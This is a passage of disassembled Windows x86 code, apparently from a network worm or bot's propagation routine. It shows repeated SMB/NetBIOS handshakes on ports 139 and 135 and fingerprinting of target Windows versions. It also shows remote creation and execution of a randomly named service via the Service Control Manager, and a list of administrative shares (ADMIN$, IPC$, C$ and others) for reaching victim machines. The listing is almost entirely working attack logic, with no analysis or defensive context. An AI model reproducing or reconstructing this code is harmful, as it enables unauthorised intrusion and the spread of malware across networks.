		push	0BDh
		push	offset dword_43C448
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		movzx	eax, [ebp+var_1411]
		push	1Bh
		lea	eax, [ebp+eax+var_140D]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_429D10
		push	0Bh
		lea	eax, [ebp+var_3C]
		push	offset aWindows5_1 ; "Windows 5.1"
		push	eax
		call	sub_42A520
		add	esp, 18h
		test	eax, eax
		jnz	short loc_404884
		mov	byte ptr [ebp+arg_4+3],	1


loc_404884:				; CODE XREF: sub_404525+359j
		mov	eax, [ebp+var_141C]
		push	2
		mov	[ebp+var_6], eax
		lea	eax, [ebp+var_6]
		push	eax
		push	offset dword_43C528
		call	sub_429420
		add	esp, 0Ch
		push	ebx
		push	111h
		push	offset dword_43C508
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		push	ebx
		push	6Fh
		push	offset dword_43C620
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		mov	eax, [ebp+var_141C]
		push	2
		mov	[ebp+var_6], eax
		lea	eax, [ebp+var_6]
		push	eax
		push	offset dword_43C6B0
		call	sub_429420
		add	esp, 0Ch
		push	ebx
		push	3Bh
		push	offset dword_43C690
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	loc_404DCF
		mov	eax, [ebp+var_1420]
		push	2
		mov	[ebp+var_A], eax
		lea	eax, [ebp+var_A]
		push	eax
		push	offset dword_43C754
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43C758
		call	sub_429420
		add	esp, 18h
		push	ebx
		push	5Fh
		push	offset dword_43C738
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Dh
		jl	loc_404DCF
		cmp	[ebp+var_1433],	0C0000022h
		jnz	short loc_4049D0
		cmp	byte ptr [ebp+arg_4+3],	bl
		jz	short loc_4049D0
		mov	[ebp+var_1], 1


loc_4049D0:				; CODE XREF: sub_404525+4A0j
					; sub_404525+4A5j
		lea	eax, [ebp+var_A]
		push	2
		push	eax
		push	offset dword_43C6EC
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43C6F0
		call	sub_429420
		add	esp, 18h
		push	ebx
		push	60h
		push	offset dword_43C6D0
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	loc_404DCF
		mov	eax, [ebp-1412h]
		push	2
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_A]
		push	eax
		push	offset dword_43C7B4
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43C7B8
		call	sub_429420
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	offset byte_43C7C1
		call	sub_429420
		add	esp, 24h
		push	ebx
		push	243h
		push	offset dword_43C798
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	loc_404DCF
		lea	eax, [ebp+var_A]
		push	2
		push	eax
		push	offset dword_43C9FC
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43CA00
		call	sub_429420
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	offset byte_43CA09
		call	sub_429420
		add	esp, 24h
		push	ebx
		push	3Fh
		push	offset dword_43C9E0
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	loc_404DCF
		lea	eax, [ebp+var_A]
		push	2
		push	eax
		push	offset dword_43CA3C
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43CA40
		call	sub_429420
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	offset byte_43CA49
		call	sub_429420
		add	esp, 24h
		push	ebx
		push	0A7h
		push	offset dword_43CA20
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	loc_404DCF
		push	ebx
		push	3Fh
		push	offset dword_43C9E0
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 42h
		jl	loc_404DCF
		cmp	[ebp+var_13FA],	3
		jnz	short loc_404BD2
		cmp	byte ptr [ebp+arg_4+3],	bl
		jz	short loc_404BD2
		mov	[ebp+var_1], 1


loc_404BD2:				; CODE XREF: sub_404525+6A2j
					; sub_404525+6A7j
		lea	eax, [ebp+var_A]
		push	2
		push	eax
		push	offset dword_43C6EC
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43C6F0
		call	sub_429420
		add	esp, 18h
		push	ebx
		push	60h
		push	offset dword_43C6D0
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	loc_404DCF
		mov	eax, [ebp-1412h]
		push	2
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_A]
		push	eax
		push	offset dword_43C7B4
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43C7B8
		call	sub_429420
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	offset byte_43C7C1
		call	sub_429420
		add	esp, 24h
		push	ebx
		push	243h
		push	offset dword_43C798
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	loc_404DCF
		lea	eax, [ebp+var_A]
		push	2
		push	eax
		push	offset dword_43C9FC
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43CA00
		call	sub_429420
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	offset byte_43CA09
		call	sub_429420
		add	esp, 24h
		push	ebx
		push	3Fh
		push	offset dword_43C9E0
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	loc_404DCF
		lea	eax, [ebp+var_A]
		push	2
		push	eax
		push	offset dword_43CAE4
		call	sub_429420
		lea	eax, [ebp+var_6]
		push	2
		push	eax
		push	offset dword_43CAE8
		call	sub_429420
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	offset byte_43CAF1
		call	sub_429420
		add	esp, 24h
		push	ebx
		push	73h
		push	offset dword_43CAC8
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 0Ah
		jle	short loc_404DCF
		cmp	byte ptr [ebp+var_1433], bl
		jnz	short loc_404DCF
		push	ebx
		push	3Fh
		push	offset dword_43C9E0
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 58h
		jl	short loc_404DCF
		cmp	byte ptr [ebp+arg_4+3],	bl
		jz	short loc_404DD6
		cmp	[ebp+var_13E4],	20000h
		jnz	short loc_404DC3
		push	5
		jmp	loc_40474F
; ---------------------------------------------------------------------------


loc_404DC3:				; CODE XREF: sub_404525+895j
		cmp	[ebp+var_1], bl
		jz	short loc_404DD6
		push	4
		jmp	loc_40474F
; ---------------------------------------------------------------------------


loc_404DCF:				; CODE XREF: sub_404525+2B6j
					; sub_404525+2D3j ...
		push	edi
		call	dword_4372D8	; closesocket


loc_404DD6:				; CODE XREF: sub_404525+22j
					; sub_404525+3Ej ...
		xor	eax, eax


loc_404DD8:				; CODE XREF: sub_404525+1DBj
					; sub_404525+1FEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_404DDD:				; CODE XREF: sub_404525+30j
		push	6
		push	1
		push	2
		call	dword_456FD0	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_404DD6
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	8Bh
		call	dword_456F38	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_1E], ax
		call	sub_41E3EC
		pop	ecx
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	esi
		call	dword_456EBC	; connect
		cmp	eax, edi
		jz	short loc_404DD6
		push	ebx
		push	48h
		push	offset unk_43C298
		push	esi
		call	dword_456F8C	; send
		cmp	eax, edi
		jz	loc_4045DF
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		cmp	eax, edi
		jz	short loc_404EC0
		push	ebx
		push	33h
		push	offset dword_43C2E4
		push	[ebp+arg_4]
		call	dword_456F8C	; send
		cmp	eax, edi
		jz	short loc_404EC0
		push	ebx
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		cmp	eax, edi
		jz	short loc_404EC0
		push	ebx
		push	4Ch
		push	offset dword_43C318
		push	[ebp+arg_4]
		call	dword_456F8C	; send
		cmp	eax, edi
		jz	short loc_404EC0
		push	ebx
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		cmp	eax, edi
		jnz	short loc_404ECE


loc_404EC0:				; CODE XREF: sub_404525+D9j
					; sub_404525+F2j ...
		push	[ebp+arg_4]


loc_404EC3:				; CODE XREF: sub_404525+BBj
		call	dword_456FF0	; closesocket
		jmp	loc_404DD6
; ---------------------------------------------------------------------------


loc_404ECE:				; CODE XREF: sub_404525+999j
		lea	esi, [eax-2]
		mov	[ebp+arg_0], ebx
		cmp	esi, ebx
		jle	short loc_404F1F
		lea	edi, [ebp+esi+var_243B]


loc_404EDF:				; CODE XREF: sub_404525+9F8j
		cmp	[ebp+arg_0], 4
		jge	short loc_404F1F
		cmp	[edi-1], bl
		jnz	short loc_404F19
		mov	eax, [ebp+arg_0]
		sub	eax, ebx
		jz	short loc_404F07
		dec	eax
		jz	short loc_404EFF
		dec	eax
		jnz	short loc_404F16
		lea	eax, [ebp+var_43C]
		jmp	short loc_404F0D
; ---------------------------------------------------------------------------


loc_404EFF:				; CODE XREF: sub_404525+9CDj
		lea	eax, [ebp+var_23C]
		jmp	short loc_404F0D
; ---------------------------------------------------------------------------


loc_404F07:				; CODE XREF: sub_404525+9CAj
		lea	eax, [ebp+var_263C]


loc_404F0D:				; CODE XREF: sub_404525+9D8j
					; sub_404525+9E0j
		push	edi
		push	eax
		call	sub_42A5D0
		pop	ecx
		pop	ecx


loc_404F16:				; CODE XREF: sub_404525+9D0j
		inc	[ebp+arg_0]


loc_404F19:				; CODE XREF: sub_404525+9C3j
		dec	esi
		dec	edi
		cmp	esi, ebx
		jg	short loc_404EDF


loc_404F1F:				; CODE XREF: sub_404525+14Dj
					; sub_404525+15Ej ...
		push	[ebp+arg_4]
		call	dword_456FF0	; closesocket
		lea	eax, [ebp+var_23C]
		push	eax
		push	offset aWindowsServer2 ; "Windows Server 2003 *.*"
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4046C8
		jmp	loc_404705
; ---------------------------------------------------------------------------


loc_404F48:				; CODE XREF: sub_404525+1F5j
		lea	eax, [ebp+var_23C]
		mov	esi, offset aWindows2000Lan ; "Windows 2000 LAN	Manager*"
		push	eax
		push	esi
		call	sub_427B4E
		mov	edi, dword_437178
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404728
		lea	eax, [ebp+var_43C]
		push	eax
		push	offset dword_43CB54
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_404728
		push	2
		jmp	loc_40474F
; ---------------------------------------------------------------------------


loc_404F87:				; CODE XREF: sub_404525+29j
		push	[ebp+arg_0]
		mov	esi, 104h
		lea	eax, [ebp+var_140]
		xor	edi, edi
		push	offset dword_43CB4C
		push	esi
		push	eax
		xor	ebx, ebx
		mov	[ebp+var_10], edi
		call	sub_429BBE
		push	esi
		lea	eax, [ebp+var_140]
		push	offset dword_43CB3C
		push	eax
		call	sub_4299E0
		add	esp, 1Ch
		lea	eax, [ebp+var_140]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_4], eax
		jz	loc_405093
		mov	edi, 186A0h
		push	edi
		call	sub_4297B8
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_429760
		add	esp, 10h
		lea	eax, [ebp+arg_0]
		mov	edi, dword_437058
		push	ebx
		push	eax
		push	2710h
		push	esi
		push	48h
		push	offset dword_43C208
		push	[ebp+arg_4]
		call	edi ; dword_437058
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_405080
		lea	eax, [ebp+arg_0]
		push	ebx
		push	eax
		push	2710h
		push	esi
		push	18h
		push	offset dword_43C254
		push	[ebp+arg_4]
		call	edi ; dword_437058
		cmp	byte ptr [esi+2], 2
		jnz	short loc_405080
		push	10h
		push	offset dword_43C270
		push	[ebp+arg_0]
		push	esi
		call	sub_4044ED
		add	esp, 10h
		test	al, al
		jz	short loc_405062
		cmp	[ebp+arg_0], 12Ch
		sbb	edi, edi
		inc	edi
		inc	edi
		jmp	short loc_405083
; ---------------------------------------------------------------------------


loc_405062:				; CODE XREF: sub_404525+B2Ej
		push	10h
		push	offset dword_43C284
		push	[ebp+arg_0]
		push	esi
		call	sub_4044ED
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	edi, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------


loc_405080:				; CODE XREF: sub_404525+AFAj
					; sub_404525+B17j
		mov	edi, [ebp+var_10]


loc_405083:				; CODE XREF: sub_404525+B3Bj
					; sub_404525+B59j
		push	esi
		call	sub_4298F2
		pop	ecx
		push	[ebp+arg_4]
		call	dword_437044	; CloseHandle


loc_405093:				; CODE XREF: sub_404525+ABBj
		mov	eax, edi
		jmp	loc_404DD8
; ---------------------------------------------------------------------------


loc_40509A:				; CODE XREF: sub_404525+1Bj
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_456F7C	; inet_addr
		push	eax
		call	sub_4022E7
		add	esp, 0Ch
		test	eax, eax
		jz	loc_404DD6
		jmp	loc_40474D
; ---------------------------------------------------------------------------


loc_4050C0:				; CODE XREF: sub_404525+14j
		push	6
		push	1
		push	2
		call	dword_456FD0	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	loc_404DD6
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	87h
		call	dword_456F38	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_1E], ax
		call	sub_41E3EC
		pop	ecx
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	esi
		call	dword_456EBC	; connect
		cmp	eax, edi
		jz	loc_4051DF
		push	ebx
		push	48h
		push	offset dword_43C208
		push	esi
		call	dword_456F8C	; send
		cmp	eax, edi
		jz	loc_4051DF
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		cmp	eax, edi
		jz	loc_4051DF
		cmp	[ebp+var_243A],	0Ch
		jnz	short loc_4051DF
		push	ebx
		push	18h
		push	offset dword_43C254
		push	[ebp+arg_4]
		call	dword_456F8C	; send
		cmp	eax, edi
		jz	short loc_4051DF
		push	ebx
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4051DF
		cmp	[ebp+var_243A],	2
		jnz	short loc_4051DF
		push	10h
		push	offset dword_43C270
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		call	sub_4044ED
		add	esp, 10h
		test	al, al
		jz	short loc_4051BF
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_4051DF
; ---------------------------------------------------------------------------


loc_4051BF:				; CODE XREF: sub_404525+C8Cj
		push	10h
		push	offset dword_43C284
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		call	sub_4044ED
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_4051DF:				; CODE XREF: sub_404525+BF8j
					; sub_404525+C0Fj ...
		push	[ebp+arg_4]
		call	dword_456FF0	; closesocket
		mov	eax, ebx
		jmp	loc_404DD8
sub_404525	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051EF	proc near		; CODE XREF: sub_40541D+412p

var_208		= byte ptr -208h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	[ebp+arg_4]
		call	dword_456F28	; OpenSCManagerA
		xor	esi, esi
		mov	[ebp+var_4], eax
		cmp	eax, esi
		jz	loc_405355
		push	[ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		push	offset aSSS_4	; "%s\\%s\\%s"
		push	eax
		call	sub_429B03
		add	esp, 14h
		call	sub_429B9C
		push	9
		pop	edi
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		idiv	edi
		lea	eax, [ebp+var_104]
		push	edx
		push	offset aDDDDD	; "%d%d%d%d%d"
		push	eax
		call	sub_429B03
		add	esp, 1Ch
		lea	eax, [ebp+var_208]
		mov	edi, 0F01FFh
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	eax
		push	1
		push	3
		push	20h
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_4]
		call	dword_456FB8	; CreateServiceA
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_4052C1
		push	[ebp+var_4]
		jmp	loc_40534F
; ---------------------------------------------------------------------------


loc_4052C1:				; CODE XREF: sub_4051EF+C8j
		push	esi
		push	esi
		push	ebx
		call	dword_456DD0	; StartServiceA
		test	eax, eax
		jz	short loc_4052F5
		push	1F4h
		call	dword_437190	; Sleep
		push	ebx
		call	dword_456E50	; DeleteService
		push	[ebp+var_4]
		call	dword_456DE4	; CloseServiceHandle
		push	ebx


loc_4052EA:				; CODE XREF: sub_4051EF+14Dj
		call	dword_456DE4	; CloseServiceHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_405357
; ---------------------------------------------------------------------------


loc_4052F5:				; CODE XREF: sub_4051EF+DDj
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 41Dh
		jnz	short loc_40533E
		push	edi
		push	offset dword_4439CC
		push	[ebp+var_4]
		call	dword_456DC8	; OpenServiceA
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_40533E
		push	esi
		push	esi
		push	edi
		call	dword_456DD0	; StartServiceA
		test	eax, eax
		jz	short loc_40533E
		push	ebx
		call	dword_456E50	; DeleteService
		push	[ebp+var_4]
		call	dword_456DE4	; CloseServiceHandle
		push	ebx
		call	dword_456DE4	; CloseServiceHandle
		push	edi
		jmp	short loc_4052EA
; ---------------------------------------------------------------------------


loc_40533E:				; CODE XREF: sub_4051EF+111j
					; sub_4051EF+126j ...
		push	ebx
		call	dword_456E50	; DeleteService
		push	[ebp+var_4]
		call	dword_456DE4	; CloseServiceHandle
		push	ebx


loc_40534F:				; CODE XREF: sub_4051EF+CDj
		call	dword_456DE4	; CloseServiceHandle


loc_405355:				; CODE XREF: sub_4051EF+26j
		xor	eax, eax


loc_405357:				; CODE XREF: sub_4051EF+104j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4051EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40535C	proc near		; CODE XREF: sub_40541D+4ECp

var_3AC		= byte ptr -3ACh
var_1A4		= byte ptr -1A4h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3ACh
		push	ebx
		push	edi
		lea	eax, [ebp+var_1A4]
		push	190h
		mov	edi, dword_437184
		push	eax
		push	0FFFFFFFFh
		xor	ebx, ebx
		push	[ebp+arg_0]
		mov	[ebp+var_4], ebx
		push	ebx
		push	ebx
		call	edi ; dword_437184
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	dword_456E2C
		test	eax, eax
		jnz	short loc_40540E
		mov	ecx, [ebp+var_4]
		cmp	ecx, ebx
		jz	short loc_40540E
		mov	eax, [ecx]
		push	esi
		push	3Ch
		xor	edx, edx
		pop	esi
		div	esi
		xor	edx, edx
		push	10h
		push	ebx
		sub	eax, [ecx+18h]
		mov	ecx, 5A0h
		inc	eax
		inc	eax
		div	ecx
		lea	eax, [ebp+var_14]
		push	eax
		mov	esi, edx
		call	sub_429760
		imul	esi, 0EA60h
		add	esp, 0Ch
		lea	eax, [ebp+var_3AC]
		mov	[ebp+var_14], esi
		push	208h
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	ebx
		push	ebx
		call	edi ; dword_437184
		lea	eax, [ebp+var_3AC]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	dword_456E84
		test	eax, eax
		pop	esi
		jnz	short loc_40540E
		inc	ebx


loc_40540E:				; CODE XREF: sub_40535C+3Ej
					; sub_40535C+45j ...
		push	[ebp+var_4]
		call	dword_456FE0
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40535C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40541D	proc near		; CODE XREF: sub_405965+34p

var_514		= byte ptr -514h
var_410		= byte ptr -410h
var_30C		= byte ptr -30Ch
var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_104		= dword	ptr -104h
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_C0		= dword	ptr  0C8h
arg_C8		= dword	ptr  0D0h
arg_D0		= dword	ptr  0D8h

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		push	ebx
		push	esi
		push	edi
		call	sub_428017
		xor	edi, edi
		push	20h
		lea	eax, [ebp+var_108]
		push	edi
		push	eax
		call	sub_429760
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_108]
		push	edi
		mov	[ebp+var_104], 1
		push	[ebp+arg_0]
		mov	[ebp+var_F8], edi
		mov	[ebp+var_EC], edi
		push	[ebp+arg_4]
		push	eax
		call	dword_457000
		test	eax, eax
		jnz	loc_405951
		push	[ebp+arg_0]
		mov	esi, 104h
		lea	eax, [ebp+var_514]
		push	offset aAdministratorS ; "Administrator\\\\%s$"
		push	esi
		push	eax
		call	sub_429BBE
		lea	eax, [ebp+var_514]
		add	esp, 10h
		mov	[ebp+var_D0], eax
		mov	eax, offset aCWindowsSystem ; "C:\\WINDOWS\\system32$"
		mov	[ebp+var_E8], offset byte_454A54
		mov	[ebp+var_E4], offset aAdmin_2 ;	"ADMIN$"
		mov	[ebp+var_E0], offset aIpc ; "IPC$"
		mov	[ebp+var_DC], offset aPrint ; "PRINT$"
		mov	[ebp+var_D8], offset aS_7 ; "S$"
		mov	[ebp+var_D4], offset aNetlogon ; "NETLOGON$"
		mov	[ebp+var_CC], offset aB	; "B$"
		mov	[ebp+var_C8], offset aC_0 ; "C$"
		mov	[ebp+var_C4], offset aD	; "D$"
		mov	[ebp+var_C0], offset aE_1 ; "E$"
		mov	[ebp+var_BC], offset aF	; "F$"
		mov	[ebp+var_B8], offset aG	; "G$"
		mov	[ebp+var_B4], offset asc_43E014	; "H$"
		mov	[ebp+var_B0], offset aI_1 ; "I$"
		mov	[ebp+var_AC], offset aJ	; "J$"
		mov	[ebp+var_A8], offset aK_0 ; "K$"
